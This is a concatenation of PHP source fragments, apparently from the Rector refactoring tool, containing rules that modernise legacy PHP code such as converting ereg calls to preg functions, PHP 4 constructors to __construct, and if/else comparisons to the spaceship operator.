= \strpos($s, '}', $i); if ($ii === \false) { throw new InvalidEregException('"{" does not have a matching "}"'); } $start = $i + 1; $length = $ii - ($i + 1); $bound = Strings::substring($s, $start, $length); $matches = Strings::match($bound, self::BOUND_REGEX); if ($matches === null) { throw new InvalidEregException('an invalid bound'); } if (isset($matches[self::MAXIMAL_NUMBER_PART])) { if ($matches[self::MINIMAL_NUMBER_PART] > $matches[self::MAXIMAL_NUMBER_PART]) { throw new InvalidEregException('an invalid bound'); } $r[$rr] .= '{' . $matches[self::MINIMAL_NUMBER_PART] . ',' . $matches[self::MAXIMAL_NUMBER_PART] . '}'; } elseif (isset($matches['comma'])) { $r[$rr] .= '{' . $matches[self::MINIMAL_NUMBER_PART] . ',}'; } else { $r[$rr] .= '{' . $matches[self::MINIMAL_NUMBER_PART] . '}'; } return $ii + 1; } /** * @return int[]|string[] */ private function processCharacterClass(string $content, int $i, string $cls) : array { $offset = $i; $ii = \strpos($content, ']', $offset); if ($ii === \false) { throw new InvalidEregException('"[" does not have a matching "]"'); } $start = $i + 1; $length = $ii - ($i + 1); $ccls = Strings::substring($content, $start, $length); if (!isset(self::CHARACTER_CLASS_MAP[$ccls])) { throw new InvalidEregException('an invalid or unsupported character class [' . $ccls . ']'); } $cls .= self::CHARACTER_CLASS_MAP[$ccls]; $i = $ii + 1; return [$cls, $i]; } } nodeComparator = $nodeComparator; $this->valueResolver = $valueResolver; } /** * @return BattleshipCompareOrder::*|null */ public function isGreaterLowerCompareReturnOneAndMinusOne(Ternary $ternary, ComparedExprs $comparedExprs) : ?string { if ($ternary->cond instanceof Greater) { return $this->evaluateGreater($ternary->cond, $ternary, $comparedExprs); } if ($ternary->cond instanceof Smaller) { return $this->evaluateSmaller($ternary->cond, $ternary, $comparedExprs); } return null; } /** * We look for: * * $firstValue > $secondValue ? 1 : -1 * * @return BattleshipCompareOrder::*|null */ private function evaluateGreater(Greater $greater, Ternary $ternary, ComparedExprs $comparedExprs) : ?string { if (!$ternary->if instanceof Expr) { return null; } if ($this->nodeComparator->areNodesEqual($greater->left, $comparedExprs->getFirstExpr()) && $this->nodeComparator->areNodesEqual($greater->right, $comparedExprs->getSecondExpr())) { return $this->evaluateTernaryDesc($ternary); } if (!$this->nodeComparator->areNodesEqual($greater->right, $comparedExprs->getFirstExpr())) { return null; } if (!$this->nodeComparator->areNodesEqual($greater->left, $comparedExprs->getSecondExpr())) { return null; } return $this->evaluateTernaryAsc($ternary); } /** * We look for: * * $firstValue < $secondValue ? -1 : 1 * * @return BattleshipCompareOrder::*|null */ private function evaluateSmaller(Smaller $smaller, Ternary $ternary, ComparedExprs $comparedExprs) : ?string { if (!$ternary->if instanceof Expr) { return null; } if ($this->nodeComparator->areNodesEqual($smaller->left, $comparedExprs->getFirstExpr()) && $this->nodeComparator->areNodesEqual($smaller->right, $comparedExprs->getSecondExpr())) { return $this->evaluateTernaryAsc($ternary); } if (!$this->nodeComparator->areNodesEqual($smaller->right, $comparedExprs->getFirstExpr())) { return null; } if (!$this->nodeComparator->areNodesEqual($smaller->left, $comparedExprs->getSecondExpr())) { return null; } return $this->evaluateTernaryDesc($ternary); } private function isValueOneAndMinusOne(Expr $firstExpr, Expr $seconcExpr) : bool { if (!$this->valueResolver->isValue($firstExpr, 1)) { return \false; } return $this->valueResolver->isValue($seconcExpr, -1); } /** * @return BattleshipCompareOrder::*|null */ private function evaluateTernaryAsc(Ternary $ternary) : ?string { if (!$ternary->if instanceof Expr) { return null; } if ($this->isValueOneAndMinusOne($ternary->if, $ternary->else)) { return BattleshipCompareOrder::ASC; } if ($this->isValueOneAndMinusOne($ternary->else, $ternary->if)) { return BattleshipCompareOrder::DESC; } return null; } /** * @return BattleshipCompareOrder::*|null */ private function evaluateTernaryDesc(Ternary $ternary) : ?string { if (!$ternary->if instanceof Expr) { return null; } if ($this->isValueOneAndMinusOne($ternary->if, $ternary->else)) { return BattleshipCompareOrder::DESC; } if ($this->isValueOneAndMinusOne($ternary->else, $ternary->if)) { return BattleshipCompareOrder::ASC; } return null; } } getNamespace() !== null) { return \false; } if ($classMethod->isAbstract()) { return \false; } if ($classMethod->isStatic()) { return \false; } $classReflection = $scope->getClassReflection(); if (!$classReflection instanceof ClassReflection) { return \false; } return !$classReflection->isAnonymous(); } } > */ public function getNodeTypes() : array { return [Assign::class]; } /** * @param Assign $node */ public function refactor(Node $node) : ?Node { if (!$node->var instanceof List_) { return null; } $exprType = $this->getType($node->expr); if (!$exprType->isString()->yes()) { return null; } $node->expr = $this->nodeFactory->createFuncCall('str_split', [$node->expr]); return $node; } } betterStandardPrinter = $betterStandardPrinter; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('list() assigns variables in reverse order - relevant in array assign', [new CodeSample('list($a[], $a[]) = [1, 2];', 'list($a[], $a[]) = array_reverse([1, 2]);')]); } /** * @return array> */ public function getNodeTypes() : array { return [Assign::class]; } /** * @param Assign $node */ public function refactor(Node $node) : ?Node { if ($this->shouldSkipAssign($node)) { return null; } /** @var List_ $list */ $list = $node->var; $printedVariables = []; foreach ($list->items as $arrayItem) { if (!$arrayItem instanceof ArrayItem) { continue; } if ($arrayItem->value instanceof ArrayDimFetch && !$arrayItem->value->dim instanceof Expr) { $printedVariables[] = $this->betterStandardPrinter->print($arrayItem->value->var); } else { return null; } } // relevant only in 1 variable type $uniqueVariables = \array_unique($printedVariables); if (\count($uniqueVariables) !== 1) { return null; } // wrap with array_reverse, to reflect reverse assign order in left $node->expr = $this->nodeFactory->createFuncCall('array_reverse', [$node->expr]); return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::LIST_SWAP_ORDER; } private function shouldSkipAssign(Assign $assign) : bool { if (!$assign->var instanceof List_) { return \true; } // already converted return $assign->expr instanceof FuncCall && $this->isName($assign->expr, 'array_reverse'); } } contextAnalyzer = $contextAnalyzer; } public function provideMinPhpVersion() : int { return PhpVersionFeature::NO_BREAK_OUTSIDE_LOOP; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Convert break outside for/foreach/switch context to return', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { if ($isphp5) return 1; else return 2; break; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { if ($isphp5) return 1; else return 2; return; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Switch_::class, Break_::class]; } /** * @param Switch_|Break_ $node * @return \PhpParser\Node\Stmt\Return_|null|int */ public function refactor(Node $node) { if ($node instanceof Switch_) { $this->traverseNodesWithCallable($node->cases, static function (Node $subNode) : ?int { if ($subNode instanceof Class_ || $subNode instanceof FunctionLike && !$subNode instanceof ArrowFunction) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if (!$subNode instanceof Break_) { return null; } $subNode->setAttribute(self::IS_BREAK_IN_SWITCH, \true); return null; }); return null; } if ($this->contextAnalyzer->isInLoop($node)) { return null; } if ($node->getAttribute(self::IS_BREAK_IN_SWITCH) === \true) { return null; } if ($this->contextAnalyzer->isInIf($node)) { return new Return_(); } return NodeTraverser::REMOVE_NODE; } } php4ConstructorClassMethodAnalyzer = $php4ConstructorClassMethodAnalyzer; $this->parentClassScopeResolver = $parentClassScopeResolver; } public function provideMinPhpVersion() : int { return PhpVersionFeature::NO_PHP4_CONSTRUCTOR; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes PHP 4 style constructor to __construct.', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function SomeClass() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function __construct() { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node * @return \PhpParser\Node\Stmt\Class_|int|null */ public function refactorWithScope(Node $node, Scope $scope) { $className = $this->getName($node); if (!\is_string($className)) { return null; } $psr4ConstructorMethod = $node->getMethod(\lcfirst($className)) ?? $node->getMethod($className); if (!$psr4ConstructorMethod instanceof ClassMethod) { return null; } if (!$this->php4ConstructorClassMethodAnalyzer->detect($psr4ConstructorMethod, $scope)) { return null; } $classReflection = $scope->getClassReflection(); if (!$classReflection instanceof ClassReflection) { return null; } // process parent call references first $this->processClassMethodStatementsForParentConstructorCalls($psr4ConstructorMethod, $scope); // does it already have a __construct method? if (!$classReflection->hasNativeMethod(MethodName::CONSTRUCT)) { $psr4ConstructorMethod->name = new Identifier(MethodName::CONSTRUCT); } $classMethodStmts = $psr4ConstructorMethod->stmts; if ($classMethodStmts === null) { return null; } if (\count($classMethodStmts) === 1) { $stmt = $psr4ConstructorMethod->stmts[0]; if (!$stmt instanceof Expression) { return null; } if ($this->isLocalMethodCallNamed($stmt->expr, MethodName::CONSTRUCT)) { $stmtKey = $psr4ConstructorMethod->getAttribute(AttributeKey::STMT_KEY); unset($node->stmts[$stmtKey]); } } return $node; } private function processClassMethodStatementsForParentConstructorCalls(ClassMethod $classMethod, Scope $scope) : void { if (!\is_iterable($classMethod->stmts)) { return; } foreach ($classMethod->stmts as $methodStmt) { if (!$methodStmt instanceof Expression) { continue; } $methodStmt = $methodStmt->expr; if (!$methodStmt instanceof StaticCall) { continue; } $this->processParentPhp4ConstructCall($methodStmt, $scope); } } private function processParentPhp4ConstructCall(StaticCall $staticCall, Scope $scope) : void { $parentClassReflection = $this->parentClassScopeResolver->resolveParentClassReflection($scope); // no parent class if (!$parentClassReflection instanceof ClassReflection) { return; } if (!$staticCall->class instanceof Name) { return; } // rename ParentClass if ($this->isName($staticCall->class, $parentClassReflection->getName())) { $staticCall->class = new Name(ObjectReference::PARENT); } if (!$this->isName($staticCall->class, ObjectReference::PARENT)) { return; } // it's not a parent PHP 4 constructor call if (!$this->isName($staticCall->name, $parentClassReflection->getName())) { return; } $staticCall->name = new Identifier(MethodName::CONSTRUCT); } private function isLocalMethodCallNamed(Expr $expr, string $name) : bool { if (!$expr instanceof MethodCall) { return \false; } if ($expr->var instanceof StaticCall) { return \false; } if ($expr->var instanceof MethodCall) { return \false; } if (!$this->isName($expr->var, 'this')) { return \false; } return $this->isName($expr->name, $name); } } */ private const OLD_TO_NEW_FUNCTIONS = ['call_user_method' => 'call_user_func', 'call_user_method_array' => 'call_user_func_array']; public function provideMinPhpVersion() : int { return PhpVersionFeature::NO_CALL_USER_METHOD; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes call_user_method()/call_user_method_array() to call_user_func()/call_user_func_array()', [new CodeSample('call_user_method($method, $obj, "arg1", "arg2");', 'call_user_func(array(&$obj, "method"), "arg1", "arg2");')]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { $oldFunctionNames = \array_keys(self::OLD_TO_NEW_FUNCTIONS); if (!$this->isNames($node, $oldFunctionNames)) { return null; } if ($node->isFirstClassCallable()) { return null; } $newName = self::OLD_TO_NEW_FUNCTIONS[$this->getName($node)]; $node->name = new Name($newName); /** @var Arg[] $oldArgs */ $oldArgs = $node->args; unset($node->args[1]); $newArgs = [$this->nodeFactory->createArg([$oldArgs[1]->value, $oldArgs[0]->value])]; unset($oldArgs[0]); unset($oldArgs[1]); $node->args = \array_merge($newArgs, $oldArgs); return $node; } } */ private const OLD_NAMES_TO_NEW_ONES = ['ereg' => 'preg_match', 'eregi' => 'preg_match', 'ereg_replace' => 'preg_replace', 'eregi_replace' => 'preg_replace', 'split' => 'preg_split', 'spliti' => 'preg_split']; public function __construct(EregToPcreTransformer $eregToPcreTransformer) { $this->eregToPcreTransformer = $eregToPcreTransformer; } public function provideMinPhpVersion() : int { return PhpVersionFeature::NO_EREG_FUNCTION; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes ereg*() to preg*() calls', [new CodeSample('ereg("hi")', 'preg_match("#hi#");')]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class, Assign::class]; } /** * @param FuncCall|Assign $node */ public function refactor(Node $node) : ?Node { if ($node instanceof FuncCall) { return $this->refactorFuncCall($node); } if (!$this->isEregFuncCallWithThreeArgs($node->expr)) { return null; } /** @var FuncCall $funcCall */ $funcCall = $node->expr; $node->expr = $this->createTernaryWithStrlenOfFirstMatch($funcCall); return $node; } private function shouldSkipFuncCall(FuncCall $funcCall) : bool { $functionName = $this->getName($funcCall); if ($functionName === null) { return \true; } if (!isset(self::OLD_NAMES_TO_NEW_ONES[$functionName])) { return \true; } if ($funcCall->isFirstClassCallable()) { return \true; } return !isset($funcCall->getArgs()[0]); } private function processStringPattern(FuncCall $funcCall, String_ $string, string $functionName) : void { $pattern = $string->value; $pattern = $this->eregToPcreTransformer->transform($pattern, $this->isCaseInsensitiveFunction($functionName)); $firstArg = $funcCall->getArgs()[0]; Assert::isInstanceOf($firstArg->value, String_::class); $firstArg->value->value = $pattern; } private function processVariablePattern(FuncCall $funcCall, Variable $variable, string $functionName) : void { $pregQuotePatternNode = $this->nodeFactory->createFuncCall('preg_quote', [new Arg($variable), new Arg(new String_('#'))]); $startConcat = new Concat(new String_('#'), $pregQuotePatternNode); $endDelimiter = $this->isCaseInsensitiveFunction($functionName) ? '#mi' : '#m'; $concat = new Concat($startConcat, new String_($endDelimiter)); /** @var Arg $arg */ $arg = $funcCall->args[0]; $arg->value = $concat; } /** * Equivalent of: * split(' ', 'hey Tom', 0); * ↓ * preg_split('# #', 'hey Tom', 1); */ private function processSplitLimitArgument(FuncCall $funcCall, string $functionName) : void { if (!isset($funcCall->args[2])) { return; } if (!$funcCall->args[2] instanceof Arg) { return; } if (\strncmp($functionName, 'split', \strlen('split')) !== 0) { return; } // 3rd argument - $limit, 0 → 1 if (!$funcCall->args[2]->value instanceof LNumber) { return; } /** @var LNumber $limitNumberNode */ $limitNumberNode = $funcCall->args[2]->value; if ($limitNumberNode->value !== 0) { return; } $limitNumberNode->value = 1; } private function createTernaryWithStrlenOfFirstMatch(FuncCall $funcCall) : Ternary { $thirdArg = $funcCall->getArgs()[2]; $arrayDimFetch = new ArrayDimFetch($thirdArg->value, new LNumber(0)); $strlenFuncCall = $this->nodeFactory->createFuncCall('strlen', [$arrayDimFetch]); return new Ternary($funcCall, $strlenFuncCall, $this->nodeFactory->createFalse()); } private function isCaseInsensitiveFunction(string $functionName) : bool { if (\strpos($functionName, 'eregi') !== \false) { return \true; } return \strpos($functionName, 'spliti') !== \false; } private function isEregFuncCallWithThreeArgs(Expr $expr) : bool { if (!$expr instanceof FuncCall) { return \false; } $functionName = $this->getName($expr); if (!\is_string($functionName)) { return \false; } if (!\in_array($functionName, ['ereg', 'eregi'], \true)) { return \false; } return isset($expr->getArgs()[2]); } private function refactorFuncCall(FuncCall $funcCall) : ?FuncCall { if ($this->shouldSkipFuncCall($funcCall)) { return null; } /** @var string $functionName */ $functionName = $this->getName($funcCall); $firstArg = $funcCall->getArgs()[0]; $patternExpr = $firstArg->value; if ($patternExpr instanceof String_) { $this->processStringPattern($funcCall, $patternExpr, $functionName); } elseif ($patternExpr instanceof Variable) { $this->processVariablePattern($funcCall, $patternExpr, $functionName); } $this->processSplitLimitArgument($funcCall, $functionName); $funcCall->name = new Name(self::OLD_NAMES_TO_NEW_ONES[$functionName]); return $funcCall; } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { $this->nestingLevel = 0; if (!$this->isName($node, self::DIRNAME)) { return null; } $activeFuncCallNode = $node; $lastFuncCallNode = $node; while (($activeFuncCallNode = $this->matchNestedDirnameFuncCall($activeFuncCallNode)) instanceof FuncCall) { $lastFuncCallNode = $activeFuncCallNode; } // nothing to improve if ($this->shouldSkip()) { return null; } $node->args[0] = $lastFuncCallNode->args[0]; $node->args[1] = new Arg(new LNumber($this->nestingLevel)); return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::DIRNAME_LEVELS; } private function shouldSkip() : bool { return $this->nestingLevel < 2; } private function matchNestedDirnameFuncCall(FuncCall $funcCall) : ?FuncCall { if (!$this->isName($funcCall, self::DIRNAME)) { return null; } if ($funcCall->isFirstClassCallable()) { return null; } $args = $funcCall->getArgs(); if (\count($args) >= 3) { return null; } // dirname($path, ); if (\count($args) === 2) { if (!$args[1]->value instanceof LNumber) { return null; } /** @var LNumber $levelNumber */ $levelNumber = $args[1]->value; $this->nestingLevel += $levelNumber->value; } else { ++$this->nestingLevel; } $nestedFuncCallNode = $args[0]->value; if (!$nestedFuncCallNode instanceof FuncCall) { return null; } if ($this->isName($nestedFuncCallNode, self::DIRNAME)) { return $nestedFuncCallNode; } return null; } } */ private const OLD_TO_NEW_FUNCTION_NAMES = ['getrandmax' => 'mt_getrandmax', 'srand' => 'mt_srand', 'rand' => 'random_int']; public function __construct(ValueResolver $valueResolver) { $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes rand, srand, and getrandmax to newer alternatives', [new CodeSample('rand();', 'random_int();')]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?\PhpParser\Node\Expr\FuncCall { if ($node->isFirstClassCallable()) { return null; } foreach (self::OLD_TO_NEW_FUNCTION_NAMES as $oldFunctionName => $newFunctionName) { if ($this->isName($node, $oldFunctionName)) { $node->name = new Name($newFunctionName); // special case: random_int(); → random_int(0, getrandmax()); if ($newFunctionName === 'random_int') { $args = $node->getArgs(); if ($args === []) { $node->args[0] = new Arg(new LNumber(0)); $node->args[1] = new Arg($this->nodeFactory->createFuncCall('mt_getrandmax')); } elseif (\count($args) === 2) { $minValue = $this->valueResolver->getValue($args[0]->value); $maxValue = $this->valueResolver->getValue($args[1]->value); if (\is_int($minValue) && \is_int($maxValue) && $minValue > $maxValue) { $temp = $node->args[0]; $node->args[0] = $node->args[1]; $node->args[1] = $temp; } } } return $node; } } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::CSPRNG_FUNCTIONS; } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'mktime')) { return null; } if ($node->args !== []) { return null; } $node->name = new Name('time'); return $node; } } > */ public function getNodeTypes() : array { return [Function_::class, ClassMethod::class]; } /** * @param Function_|ClassMethod $node */ public function refactor(Node $node) : ?Node { // exception handle has 1 param exactly if (\count($node->params) !== 1) { return null; } $paramNode = $node->params[0]; if ($paramNode->type === null) { return null; } // handle only Exception typehint $actualType = $paramNode->type instanceof NullableType ? $this->getName($paramNode->type->type) : $this->getName($paramNode->type); if ($actualType !== 'Exception') { return null; } // is probably handling exceptions if (!StringUtils::isMatch((string) $node->name, self::HANDLE_INSENSITIVE_REGEX)) { return null; } if (!$paramNode->type instanceof NullableType) { $paramNode->type = new FullyQualified('Throwable'); } else { $paramNode->type->type = new FullyQualified('Throwable'); } return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::THROWABLE_TYPE; } } battleshipTernaryAnalyzer = $battleshipTernaryAnalyzer; $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes if/else to spaceship <=> where useful', [new CodeSample(<<<'CODE_SAMPLE' usort($languages, function ($first, $second) { if ($first[0] === $second[0]) { return 0; } return ($first[0] < $second[0]) ? 1 : -1; }); CODE_SAMPLE , <<<'CODE_SAMPLE' usort($languages, function ($first, $second) { return $second[0] <=> $first[0]; }); CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class, If_::class]; } /** * @param StmtsAwareInterface|If_ $node */ public function refactor(Node $node) : ?Node { if ($node instanceof If_) { return $this->refactorIf($node); } if ($node->stmts === null) { return null; } foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof Return_) { continue; } if (!$stmt->expr instanceof Ternary) { continue; } // preceeded by if $prevStmt = $node->stmts[$key - 1] ?? null; if (!$prevStmt instanceof If_) { continue; } $comparedExprs = $this->matchExprComparedExprsReturnZero($prevStmt); if (!$comparedExprs instanceof ComparedExprs) { continue; } $battleshipCompareOrder = $this->battleshipTernaryAnalyzer->isGreaterLowerCompareReturnOneAndMinusOne($stmt->expr, $comparedExprs); $returnSpaceship = $this->createReturnSpaceship($battleshipCompareOrder, $comparedExprs); if (!$returnSpaceship instanceof Return_) { continue; } unset($node->stmts[$key - 1]); $node->stmts[$key] = $returnSpaceship; return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::SPACESHIP; } private function refactorIf(If_ $if) : ?Return_ { if ($if->elseifs !== []) { return null; } if (!$if->else instanceof Else_) { return null; } $comparedExprs = $this->matchExprComparedExprsReturnZero($if); if (!$comparedExprs instanceof ComparedExprs) { return null; } $ternary = $this->matchElseOnlyStmtTernary($if->else); if (!$ternary instanceof Ternary) { return null; } $battleshipCompareOrder = $this->battleshipTernaryAnalyzer->isGreaterLowerCompareReturnOneAndMinusOne($ternary, $comparedExprs); return $this->createReturnSpaceship($battleshipCompareOrder, $comparedExprs); } /** * We look for: * * if ($firstValue === $secondValue) { * return 0; * } */ private function matchExprComparedExprsReturnZero(If_ $if) : ?ComparedExprs { if (!$if->cond instanceof Equal && !$if->cond instanceof Identical) { return null; } $binaryOp = $if->cond; if (\count($if->stmts) !== 1) { return null; } $onlyStmt = $if->stmts[0]; if (!$onlyStmt instanceof Return_) { return null; } if (!$onlyStmt->expr instanceof Expr) { return null; } if (!$this->valueResolver->isValue($onlyStmt->expr, 0)) { return null; } return new ComparedExprs($binaryOp->left, $binaryOp->right); } /** * @param BattleshipCompareOrder::*|null $battleshipCompareOrder */ private function createReturnSpaceship(?string $battleshipCompareOrder, ComparedExprs $comparedExprs) : ?Return_ { if ($battleshipCompareOrder === null) { return null; } if ($battleshipCompareOrder === BattleshipCompareOrder::DESC) { $spaceship = new Spaceship($comparedExprs->getFirstExpr(), $comparedExprs->getSecondExpr()); } else { $spaceship = new Spaceship($comparedExprs->getSecondExpr(), $comparedExprs->getFirstExpr()); } return new Return_($spaceship); } private function matchElseOnlyStmtTernary(Else_ $else) : ?\PhpParser\Node\Expr\Ternary { if (\count($else->stmts) !== 1) { return null; } $onlyElseStmt = $else->stmts[0]; if (!$onlyElseStmt instanceof Return_) { return null; } if (!$onlyElseStmt->expr instanceof Ternary) { return null; } return $onlyElseStmt->expr; } } > */ public function getNodeTypes() : array { return [List_::class]; } /** * @param List_ $node */ public function refactor(Node $node) : ?Node { foreach ($node->items as $item) { if ($item instanceof ArrayItem) { return null; } } $node->items[0] = new ArrayItem(new Variable('unusedGenerated')); return $node; } } staticAnalyzer = $staticAnalyzer; $this->reflectionResolver = $reflectionResolver; } public function provideMinPhpVersion() : int { return PhpVersionFeature::STATIC_CALL_ON_NON_STATIC; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes $this->call() to static method to static call', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public static function run() { $this->eat(); } public static function eat() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public static function run() { static::eat(); } public static function eat() { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if (!$scope->isInClass()) { return null; } $classReflection = $scope->getClassReflection(); // skip PHPUnit calls, as they accept both self:: and $this-> formats if ($classReflection->isSubclassOf('PHPUnit\\Framework\\TestCase')) { return null; } $this->hasChanged = \false; $this->processThisToStatic($node, $classReflection); if ($this->hasChanged) { return $node; } return null; } private function processThisToStatic(Class_ $class, ClassReflection $classReflection) : void { $this->traverseNodesWithCallable($class, function (Node $subNode) use($class, $classReflection) { if ($subNode instanceof Encapsed) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if (!$subNode instanceof MethodCall) { return null; } if (!$subNode->var instanceof Variable) { return null; } if (!$this->nodeNameResolver->isName($subNode->var, 'this')) { return null; } if (!$subNode->name instanceof Identifier) { return null; } $methodName = $this->getName($subNode->name); if ($methodName === null) { return null; } $isStaticMethod = $this->staticAnalyzer->isStaticMethod($classReflection, $methodName, $class); if (!$isStaticMethod) { return null; } if ($subNode->isFirstClassCallable()) { return null; } $this->hasChanged = \true; $objectReference = $this->resolveClassSelf($classReflection, $subNode); return $this->nodeFactory->createStaticCall($objectReference, $methodName, $subNode->args); }); } /** * @return ObjectReference::STATIC|ObjectReference::SELF */ private function resolveClassSelf(ClassReflection $classReflection, MethodCall $methodCall) : string { if ($classReflection->isFinalByKeyword()) { return ObjectReference::SELF; } $methodReflection = $this->reflectionResolver->resolveMethodReflectionFromMethodCall($methodCall); if (!$methodReflection instanceof PhpMethodReflection) { return ObjectReference::STATIC; } if (!$methodReflection->isPrivate()) { return ObjectReference::STATIC; } return ObjectReference::SELF; } } staticAnalyzer = $staticAnalyzer; $this->reflectionProvider = $reflectionProvider; $this->reflectionResolver = $reflectionResolver; $this->parentClassScopeResolver = $parentClassScopeResolver; } public function provideMinPhpVersion() : int { return PhpVersionFeature::INSTANCE_CALL; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes static call to instance call, where not useful', [new CodeSample(<<<'CODE_SAMPLE' class Something { public function doWork() { } } class Another { public function run() { return Something::doWork(); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class Something { public function doWork() { } } class Another { public function run() { return (new Something)->doWork(); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StaticCall::class]; } /** * @param StaticCall $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if ($node->name instanceof Expr) { return null; } $methodName = $this->getName($node->name); $className = $this->resolveStaticCallClassName($node); if ($methodName === null) { return null; } if ($className === null) { return null; } if ($this->shouldSkip($methodName, $className, $node, $scope)) { return null; } if ($this->isInstantiable($className, $scope)) { $new = new New_($node->class); return new MethodCall($new, $node->name, $node->args); } return null; } private function resolveStaticCallClassName(StaticCall $staticCall) : ?string { if ($staticCall->class instanceof PropertyFetch) { $objectType = $this->getType($staticCall->class); if ($objectType instanceof ObjectType) { return $objectType->getClassName(); } } return $this->getName($staticCall->class); } private function shouldSkip(string $methodName, string $className, StaticCall $staticCall, Scope $scope) : bool { if (\in_array($methodName, ObjectMagicMethods::METHOD_NAMES, \true)) { return \true; } if (!$this->reflectionProvider->hasClass($className)) { return \true; } $classReflection = $this->reflectionProvider->getClass($className); if ($classReflection->isAbstract()) { return \true; } // does the method even exist? if (!$classReflection->hasMethod($methodName)) { return \true; } $isStaticMethod = $this->staticAnalyzer->isStaticMethod($classReflection, $methodName); if ($isStaticMethod) { return \true; } $reflection = $scope->getClassReflection(); if ($reflection instanceof ClassReflection && $reflection->isSubclassOf($className)) { return \true; } $className = $this->getName($staticCall->class); if (\in_array($className, [ObjectReference::PARENT, ObjectReference::SELF, ObjectReference::STATIC], \true)) { return \true; } if ($className === 'class') { return \true; } $parentClassName = $this->parentClassScopeResolver->resolveParentClassName($scope); return $className === $parentClassName; } private function isInstantiable(string $className, Scope $scope) : bool { if (!$this->reflectionProvider->hasClass($className)) { return \false; } $methodReflection = $this->reflectionResolver->resolveMethodReflection($className, '__callStatic', $scope); if ($methodReflection instanceof MethodReflection) { return \false; } $classReflection = $this->reflectionProvider->getClass($className); $nativeReflection = $classReflection->getNativeReflection(); $reflectionMethod = $nativeReflection->getConstructor(); if (!$reflectionMethod instanceof ReflectionMethod) { return \true; } if (!$reflectionMethod->isPublic()) { return \false; } // required parameters in constructor, nothing we can do return !(bool) $reflectionMethod->getNumberOfRequiredParameters(); } } items[$key])) { return $this->items[$key]; } return 'fallback value'; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { private $items = []; public function resolve($key) { return $this->items[$key] ?? 'fallback value'; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { if ($node->stmts === null) { return null; } foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof Return_) { continue; } if (!$stmt->expr instanceof Expr) { continue; } $previousStmt = $node->stmts[$key - 1] ?? null; if (!$previousStmt instanceof If_) { continue; } if (!$previousStmt->cond instanceof Isset_) { continue; } $ifOnlyStmt = $this->matchBareIfOnlyStmt($previousStmt); if (!$ifOnlyStmt instanceof Return_) { continue; } if (!$ifOnlyStmt->expr instanceof Expr) { continue; } $ifIsset = $previousStmt->cond; if (!$this->nodeComparator->areNodesEqual($ifOnlyStmt->expr, $ifIsset->vars[0])) { continue; } unset($node->stmts[$key - 1]); $stmt->expr = new Coalesce($ifOnlyStmt->expr, $stmt->expr); return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::NULL_COALESCE; } private function matchBareIfOnlyStmt(If_ $if) : ?Stmt { if ($if->else instanceof Else_) { return null; } if ($if->elseifs !== []) { return null; } if (\count($if->stmts) !== 1) { return null; } return $if->stmts[0]; } } > */ public function getNodeTypes() : array { return [Switch_::class]; } /** * @param Switch_ $node */ public function refactor(Node $node) : ?Node { $defaultCases = []; foreach ($node->cases as $key => $case) { if ($case->cond instanceof Expr) { continue; } $defaultCases[$key] = $case; } $defaultCaseCount = \count($defaultCases); if ($defaultCaseCount < 2) { return null; } foreach ($node->cases as $key => $case) { if ($case->cond instanceof Expr) { continue; } // remove previous default cases if ($defaultCaseCount > 1) { unset($node->cases[$key]); --$defaultCaseCount; } } return $node; } } valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes unneeded null check to ?? operator', [new CodeSample('$value === null ? 10 : $value;', '$value ?? 10;'), new CodeSample('isset($value) ? $value : 10;', '$value ?? 10;')]); } /** * @return array> */ public function getNodeTypes() : array { return [Ternary::class]; } /** * @param Ternary $node 